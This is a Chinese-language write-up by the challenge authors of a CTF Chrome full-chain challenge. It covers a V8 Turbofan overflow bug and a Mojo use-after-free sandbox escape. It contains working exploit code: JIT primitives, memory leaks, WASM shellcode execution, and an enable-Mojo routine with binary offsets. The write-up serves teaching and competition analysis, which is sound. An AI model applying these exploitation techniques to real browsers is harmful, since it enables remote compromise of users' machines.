90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain] Writeup

admin 2021年3月12日09:23:23评论8 views字数 13933阅读46分26秒阅读模式
作者:栈长、7o8v
赛题源码:
https://mega.nz/file/1zAERJ5R#M0R_7PAJhIailzqrYKTY-CR36F8J2vX6AYbVML0AHy4
 

前言

AntCTF x D^3CTF是由蚂蚁集团安全响应中心(AntSRC)携手三支“电子科大”队伍:杭电Vidar-Team、西电 L-Team 及成电 CNSS共同举办的CTF赛事,面向全球CTF战队开放。经过48小时激烈的角逐,本次大赛已经落下帷幕。

本次比赛,蚂蚁安全光年实验室受邀出了两道 RealWorld 类型的题目,两道题目经过额外90分钟加时赛依然无解。其中一道题名为 EasyChromeFullChain,重点考察选手的浏览器漏洞的利用能力。

V8部分是一个Turbofan 优化相关的漏洞,主要考察选手对 V8 Turbofan 引擎的理解以及 JIT 漏洞的利用技巧。沙箱部分是一个 Mojo 接口对象生命周期导致的 UAF 漏洞,主要考察选手对 C++ 对象生命周期的理解以及沙箱漏洞的利用技巧。

下面主要会分成两部分来讲解我们的利用过程,首先是利用V8引擎的漏洞来达成沙箱内的RCE,第二部分是利用一个沙箱的漏洞来穿透Chrome的沙箱,穿透沙箱之后选手只需要执行指定的程序即可获取到flag。首先介绍一下V8部分:

 
V8引擎RCE

1. 漏洞root cause分析

V8部分的漏洞是根据chromium bug tracker的1126249这个漏洞改编的,漏洞存在于Turbofan的Simplified Lowering阶段,在处理SpeculativeSafeIntegerAdd或者SpeculativeSafeIntegerSub节点时,会调用CanOverflowInt32函数来判断该节点的output是否有可能溢出,如果有可能溢出,就把这个节点lower成Int32Overflow类型的节点,如果不会溢出,就lower成Int32类型的节点。Int32类型的节点是没有溢出检查的。
但是CanOverflowInt32这个函数的实现有问题,left或者right的类型是有可能包括MinusZero的,但是Type::Intersect(left, Type::Signed32(), type_zone); 会将MinusZero的类型给舍弃掉,但是我们知道-0减去 -0x80000000是会产生溢出的。所以如果left的类型是Union(-0, [-1, -1]), right的类型是[-0x80000000, 1], 实际的计算结果有可能产生溢出,CanOverflowSigned32却判断无法溢出,将溢出检查给抛弃了。
bool CanOverflowSigned32(const Operator* op, Type left, Type right,- Zone* type_zone) {- // We assume the inputs are checked Signed32 (or known statically- // to be Signed32). Technically, the inputs could also be minus zero, but- // that cannot cause overflow.+ TypeCache const* type_cache, Zone* type_zone) {+ // We assume the inputs are checked Signed32 (or known statically to be+ // Signed32). Technically, the inputs could also be minus zero, which we treat+ // as 0 for the purpose of this function.+ if (left.Maybe(Type::MinusZero())) {+ left = Type::Union(left, type_cache->kSingletonZero, type_zone);+ }+ if (right.Maybe(Type::MinusZero())) {+ right = Type::Union(right, type_cache->kSingletonZero, type_zone);+ } left = Type::Intersect(left, Type::Signed32(), type_zone); right = Type::Intersect(right, Type::Signed32(), type_zone); if (left.IsNone() || right.IsNone()) return false;@@ -1484,7 +1490,8 @@ if (lower<T>()) { if (truncation.IsUsedAsWord32() || !CanOverflowSigned32(node->op(), left_feedback_type,- right_feedback_type, graph_zone())) {+ right_feedback_type, type_cache_,+ graph_zone())) { ChangeToPureOp(node, Int32Op(node)); } else {

2. 如何构造漏洞利用原语

根据以上的分析,我们可以构造这样一个poc来触发这个bug。
// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.
// Flags: --allow-natives-syntax
function foo(b) { var x = -0; var y = -0x80000000;
if (b) { x = -1; y = 1; }
return (x - y) == -0x80000000;}
for(let i = 0; i < 0x10000; i++) foo(true);console.log(foo(false));
由于turbofan优化后的代码没有溢出检查,所以当b为false的时候, x - y 就是-0 - (-0x80000000),溢出了,最后的结果是-0x80000000,foo返回false。
但是这样的一个poc显然是无助于我们的漏洞利用的,我们需要想办法利用这个漏洞构造越界读写的原语,一个用烂了的技巧就是利用Turbofan的check bounds elimination将Array读写时的越界检查给消除。V8在最新版本其实已经引入了check bounds elimination hardening缓解措施,为了降低难度,这道题将该缓解措施给去掉了。

2.2 构造addrof原语

利用turbofan的类型传播,最后typer认为d的范围是[0, 6],实际是[0, 12], arr的长度是8,turbofan认为数组访问一定不会越界,就将CheckBounds节点给消除了。
function jit_func(a, target_obj) { let b = -0; var c = -0x80000000;
if (a) { c = -(b = -1); }
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) { d = -1; }
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2] d = d * 6; //typer以为是[0, 6], 实际是[0, 12]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; arr2 = [target_obj, target_obj, target_obj, target_obj, target_obj, target_obj, target_obj, target_obj];
return Int64.fromDouble(arr[d]);
}

2.3 构造fake_obj原语

跟构造addrof时同样的技术,只不过这次是用了个double类型的Array,后面放置了一个tagged类型的Array,往tagged_arr里面写入任意的double值,就可以将任意地址当作一个对象返回了。
function fake_obj_internal(a, addr) { let b = -0; var c = -0x80000000;
if (a) { c = -(b = -1); }
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) { d = -1; }
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2] d = d * 6; //typer以为是[0, 6], 实际是[0, 12]
let double_arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; let tagged_arr = [foo, foo, foo, foo, foo, foo, foo, foo];
double_arr[d] = addr; return tagged_arr;
} var foo = {}; for (let i = 0; i < 0x10000; i++) { fake_obj_internal(true, 2.2); } function fake_obj(addr32) { return fake_obj_internal(false, u2d(addr32 + 1, addr32 + 1)) }
 

2.3.1 泄漏对象的map

我们要构造的对象是一个ArrayBuffer,首先得泄漏出ArrayBuffer的map。
function leak_ab_map(a) { let b = -0; var c = -0x80000000;
if (a) { c = -(b = -1); }
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) { d = -1; }
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2] d = d * 4; //typer以为是[0, 4], 实际是[0, 8]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; let ab = new ArrayBuffer(0x1);
return Int64.fromDouble(arr[d]);
}
 

2.3.2 V8的compressed pointer机制

由于V8最近引入的compressed pointer机制,堆上只会存储指针的低32位,高32位是放在寄存器里面的,我们还需要泄漏出高32位。BigUint64Array中有一个pointer是未被压缩过的pointer,可以用来泄漏高32位。
function leak_heap_high32(a) { let b = -0; var c = -0x80000000;
if (a) { c = -(b = -1); }
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) { d = -1; }
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2] d = d * 24; //typer以为是[0, 24], 实际是[0, 48] d = d + 1; //typer以为是[1,25], 实际是[1, 49]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; //arr.length == 32 let bigint_arr = new BigUint64Array(4); return Int64.fromDouble(arr[d]); } for(let i = 0; i < 0x10000; i++) { leak_heap_high32(true); }

3. 从原语到任意代码执行

有了这些原语,我们就可以很方便的构造任意地址读写原语了。思路就是找一个container,在container里面伪造出一个ArrayBuffer,然后获取指向这个ArrayBuffer的指针,然后利用这个ArrayBuffer来任意地址读写。

3.3 泄漏WASM的JIT区域的地址

由于V8对普通JIT函数的区域加上了W^X的保护机制,所以这里使用WASM的JIT区域来写入shellcode。
//获取Wasm的JIT区域的地址 var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x06, 0x01, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x02, 0x0b, 0x01, 0x02, 0x6a, 0x73, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x00, 0x01, 0x03, 0x02, 0x01, 0x00, 0x07, 0x0d, 0x01, 0x09, 0x68, 0x75, 0x67, 0x65, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x00, 0x0a, 0x0d, 0x01, 0x0b, 0x00, 0x41, 0x00, 0x20, 0x00, 0x36, 0x02, 0x00, 0x41, 0x00, 0x0b,]; var wasm_ta = new Uint8Array(wasmarr); var wasm_mod = new WebAssembly.Module(wasm_ta); var my_memory = new WebAssembly.Memory({ initial: 1 }); var import_obj = { js: { mem: my_memory } } var wasm_inst = new WebAssembly.Instance(wasm_mod, import_obj); var huge_func = wasm_inst.exports.huge_func; let wasm_inst_addr = addrof(wasm_inst); let wasm_rwx_addr = heap_rw.read64(wasm_inst_addr + 0x68); console.log("wasm_rwx addr:" + wasm_rwx_addr);

 

3.4 任意代码的执行

往WASM的JIT区域写入shellcode,然后执行对应的WASM的export function。
let shellcode = [0xcc, 0xcc, 0xcc, 0xcc]; assert(shellcode.length < 0x1000); //wasm rwx页面的长度为0x1000 for(let i = 0; i < shellcode.length; i++) { arb_rw.write8(Add(wasm_rwx_addr, i), shellcode[i].charCodeAt(0)); }
huge_func();
最后的代码上传到github上了,链接为:
https://gist.github.com/singleghost2/776c78e05cea87da1927f8f5b13129cf
当然对于JIT的漏洞,利用方式肯定不只这么一种,也可以考虑构造一个越界写的原语,将某个Array的length字段给修改掉,然后利用这个corrput的Array来构造任意地址读写原语,笔者没有尝试过这一条路径,感兴趣的朋友可以尝试一下。
由于比赛时间比较紧张,为了降低难度,出题的时候特意将bounds-check elimination hardening缓解措施给去掉了,其实就算有这个缓解措施,是仍然有利用的可能的,感兴趣的朋友可以挑战一下。
从RCE到沙箱逃逸

由于Chrome的沙箱限制了渲染引擎对文件系统的读写操作,所以我们在V8中实现任意代码执行后仍然无法拿到flag,接下来还得突破Chrome的沙箱。
 
此次比赛的沙箱部分漏洞被设计在了一个Mojo接口AntNest)的实现当中,接口的定义如下:
module antctf.mojom;
interface AntNest { Store(string data); // 在browser进程中存储数据 Fetch() => (string data); // 从browser中读取通过`Store`存储的数据};
对应的接口实现:
void AntNestImpl::Store(const std::string &data){ size_t depth = render_frame_host_->GetFrameDepth(); if(depth == 0 || depth > 10){ return; } size_t capacity = depth * 0x100; size_t count = capacity < data.size() ? capacity : data.size(); container_.emplace( std::make_pair(depth, data.substr(0, count)) );}
void AntNestImpl::Fetch(FetchCallback callback){ size_t depth = render_frame_host_->GetFrameDepth(); if(depth == 0 || depth > 10){ std::move(callback).Run("error depth"); return; } auto it = container_.find(depth); if(it == container_.end()){ std::move(callback).Run("not yet stored"); return; }
std::move(callback).Run(it->second);}
接口的实现并没有任何问题,没有可利用的漏洞。问题出在该接口的生命周期上,看一下接口对象的创建方式:
void RenderFrameHostImpl::CreateAntNest( mojo::PendingReceiver<antctf::mojom::AntNest> receiver) { mojo::MakeSelfOwnedReceiver(std::make_unique<AntNestImpl>(this), std::move(receiver));}
这里调用了mojo::MakeSelfOwnedReceiver对通信端点和接口对象进行了绑定,也就是说AntNestImpl对象和生命周期是和通信管道的生命周期绑定了,这通常来讲也没什么问题。还有一个问题在于AntNestImpl对象内部持有了一个RenderFrameHostImpl的原始指针。
AntNestImpl::AntNestImpl( RenderFrameHost* render_frame_host) : render_frame_host_(render_frame_host){}
class AntNestImpl : public antctf::mojom::AntNest{ public: explicit AntNestImpl(RenderFrameHost* render_frame_host);
~AntNestImpl() override;
// antctf::mojom::AntNest void Store(const std::string &data) override; void Fetch(FetchCallback callback) override;
private: RenderFrameHost* render_frame_host_; // <<<<<<<<<<<<<<<<<<< Raw Pointer std::map<uint32_t, std::string> container_; DISALLOW_COPY_AND_ASSIGN(AntNestImpl);};
在这种情况下,如果render_frame_host_对应的frame先于AntNestImpl对象被释放,那么AntNestImplrender_frame_host_的解引用就会造成UAF。
恰好在AntNestImpl::StoreAntNestImpl::Fetch都调用了render_frame_host_->GetFrameDepth()
所以要触发漏洞的步骤就是:

1.在render frame中绑定一个AntNest接口

2.释放该render frame

3.通过之前绑定的AntNest接口调用store或者fetch方法

4.触发UAF

首先,因为步骤中包含了对render frame的释放,所以该frame不能是main frame,修改步骤如下:

1.创建一个sub frame

2.在sub frame中绑定一个AntNest接口

3.将该接口对象传递到main frame中以供后续调用

4.释放该sub frame

5.通过之前绑定的AntNest接口调用store或者fetch方法

6.触发UAF

01
Enable Mojo
这里有个问题:如何在sub frame中调用Mojo接口?
pj0公布过enable mojo的方法(https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html),其中提到了为render frame添加MojoJS接口的函数:
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context, int world_id) { if ((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) && IsMainFrame() && world_id == ISOLATED_WORLD_ID_GLOBAL) { // We only allow these bindings to be installed when creating the main // world context of the main frame. blink::WebContextFeatures::EnableMojoJS(context, true); }
for (auto& observer : observers_) observer.DidCreateScriptContext(context, world_id);}
所以只要满足if中的所有条件,就可以为任何render frame添加MojoJS接口
对于一个sub frame,如果要开启MojoJS需要做的事:
1.修改enabled_bindings_为BINDINGS_POLICY_MOJO_WEB_UI
2.修改is_main_frame_为true满足IsMainFrame()的判断
寻找RenderFrameImpl对象是通过g_frame_map这个全局对象完成的,这个map中保存了当前render所有的RenderFrameImpl对象,可以遍历该map,为所有frame都开启MojoJS就行了。
function enable_mojo(oob){ print("[ enable mojo ]")
const kWindowWrapperTypeInfoOffset = 0x7e86298; const kGFrameMapOffset = 0x8688e80; const kEnabledBindingsOffset = 0x5ac; const kEnabledMojoBindingOffset = 0x5b0; const kIsMainFrameOffset = 0xc8;
let window_ptr = oob.obj2ptr(window); print(" [*] window_ptr : 0x"+window_ptr.toString(16));
let v8_window_wrapper_type_info_ptr = oob.getUint64(Int64(window_ptr+0x10)); let chrome_dll_address = v8_window_wrapper_type_info_ptr - kWindowWrapperTypeInfoOffset; print(" [*] chrome.dll address : 0x"+chrome_dll_address.toString(16)); print(" [*] v8 window warpper type info ptr: 0x"+v8_window_wrapper_type_info_ptr.toString(16));
let g_frame_map_ptr = chrome_dll_address + kGFrameMapOffset; print(" [*] g_frame_map_ptr : 0x"+g_frame_map_ptr.toString(16))
if (oob.getUint64(Int64(g_frame_map_ptr)) != g_frame_map_ptr + 0x8) { print(' [!] error finding g_frame_map'); return; }
let begin_ptr = oob.getUint64(Int64(g_frame_map_ptr+8)); print(' [*] begin_ptr : ' + begin_ptr.toString(16)); //Traverse g_frame_map while(true){ // content::RenderFrameImpl let render_frame_ptr = oob.getUint64(Int64(begin_ptr + 0x28)); print(' [*] render_frame_ptr : ' + render_frame_ptr.toString(16));
{ let is_main_frame = oob.getUint8(Int64(render_frame_ptr + kIsMainFrameOffset)); print(' [*] is main frame: ' + is_main_frame.toString(16)); if(is_main_frame == 0){ print(" [!] not in main frame"); oob.setUint8(Int64(render_frame_ptr + kIsMainFrameOffset), 1); } }
let enabled_bindings = oob.getUint32(Int64(render_frame_ptr + kEnabledBindingsOffset)); print(' [*] enabled_bindings: 0b' + enabled_bindings.toString(2)); oob.setUint32(Int64(render_frame_ptr + kEnabledBindingsOffset), 2); oob.setUint32(Int64(render_frame_ptr + kEnabledMojoBindingOffset), 1); enabled_bindings = oob.getUint32(Int64(render_frame_ptr + kEnabledBindingsOffset)); print(' [*] new enabled_bindings: 0b' + enabled_bindings.toString(2));
let next = oob.getUint64(Int64(begin_ptr + 8)); if(next != 0){ begin_ptr = next; continue; } break; } print(' [*] reloading');}
这里我还修改了enable_mojo_bindings_,其实是不必要的,不过加上也无所谓。
 
02
Disable Sandbox
关于这个部分其实和SCTF-2020中的题目EasyMojo是差不多的,只是这次的题目更接近真实的漏洞。
如果复现过上次的题目,这次的题目应该会很好做,因为利用链中一些比较关键的gadget都在上次的writeup中标记了出来,那些gadget在这次的题目中同样有用,如果自己去找的话会比较费劲。
我们的最终目的是要关闭沙箱,然后执行shellcode完成RCE。
关闭沙箱可以通过调用函数sandbox::policy::SetCommandLineFlagsForSandboxType(command_line, 0)来完成,参数中的command_line指针保存在chrome.dll的数据段,可以通过调用Copy64函数进行泄露。
那么如何将UAF转化为函数调用?
上次的writeup中我提到了一篇文章(https://theori.io/research/escaping-chrome-sandbox/),文章中给出了利用base::RepeatingCallback等回调对象完成对任意函数的调用,要完成这个利用,需要伪造一个base::internal::BindState对象,该对象中可以放入函数指针和函数参数,只要触发该回调即可完成函数调用。详情参考我前面提到的文章。
现在又有了两个问题:
1.如何触发回调?
2.在什么地方伪造BindState对象?
首先看如何触发回调。现在可以控制RenderFrameHostImpl对象,在UAF触发时会对GetFrameDepth函数进行调用,该函数是虚函数,所以现在可以进行任意虚函数调用。在Chrome中找到执行回调的虚函数并不难,这类虚函数需要对自己的某个callback成员调用Run,而且逻辑足够简单,最好只有调用Run这一条语句,在exp中我给出了一个:content::responsiveness::MessageLoopObserver::DidProcessTask
现在来看在哪里伪造BindState对象,现阶段对于Browser进程可知的信息就只有一个chrome.dll的地址信息,然后就是一个被控制但是不知道地址的RenderFrameHostImpl对象。所以需要进行堆地址的泄露,要完成泄露的目的也可以通过一些特殊的虚函数来完成,我在exp中使用了两个:
1.content::WebContentsImpl::GetWakeLockContext
device::mojom::WakeLockContext* WebContentsImpl::GetWakeLockContext() { if (!wake_lock_context_host_) wake_lock_context_host_ = std::make_unique<WakeLockContextHost>(this); return wake_lock_context_host_->GetWakeLockContext();}
2.`anonymous namespace'::DictionaryIterator::Start
void Start() override { DCHECK(!IsStarted()); dict_iterator_ = locker_.begin();}
假设当前对象是RFH,首先content::WebContentsImpl::GetWakeLockContextRFH内部分配了一个新对象,且新对象的内部持有当前RFH对象的this指针,然后`anonymous namespace'::DictionaryIterator::Start会将RFH某个成员的某个属性值赋值给RFH的另一个成员。
完成这两个调用之后就可以将RFHthis指针写入到RFH内部,而且RFH是被控制的,所以可以将this的值读取出来,这样就得到了一个被控制的且知道地址的内存。之后BindState对象的伪造就可以在这块内存中进行。
到这里所有关闭沙箱的准备工作都已完成。
03
RCE
关闭沙箱之后就可以直接通过v8漏洞执行shellcode进行RCE,只需要注意此时rce的页面不能和之前的页面同源,因为沙箱关闭只能在新进程中生效,chrome会将同源的页面放到同一个进程中,如果直接在之前的页面中rce会导致render进程崩溃。
 
Exp (https://mega.nz/file/xrxERY4R#dFSSryU4tG7FwHu6rBrppJOmsnrZj1uzyRSln0WvwmQ)
 
关于我们
蚂蚁安全光年实验室组建于 2016 年底 (原巴斯光年安全实验室),实验室通过对基础软件及设备的安全研究,达到全球顶尖破解能力,同时基于基础研究能力与实际场景的落地结合,为蚂蚁集团及相关生态金融级基础设施安全提供更多安全保障。
目前实验室核心安全研究能力领域包括浏览器安全、系统安全、虚拟化安全、数据库安全、供应链安全以及代码动静态分析技术等核心基础安全领域。
实验室具有行业领先的硬核漏洞挖掘与利用能力,攻破过多个高难度目标,获得多个 PWN 顶级大赛单项冠军、上百次国际顶级厂商漏洞致谢等。
实验室正在热招实习生中,主要面向基础软硬件安全研究、前沿安全研究、Fuzzing研究、程序分析方向:
1. 基础软硬件安全研究:参与相关基础软硬件漏洞挖掘与利用研究。
2. 前沿安全研究:对新兴产品或技术方向展开安全研究。
3. Fuzzing 研究:参与实验室 Fuzzing 相关技术的研究。
4. 程序分析方向:利用程序分析辅助漏洞挖掘研究,相关工具研发。
简历发送至:[email protected]

原文始发于微信公众号(蚂蚁安全响应中心):90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain] Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月12日09:23:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain] Writeuphttps://cn-sec.com/archives/1988035.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息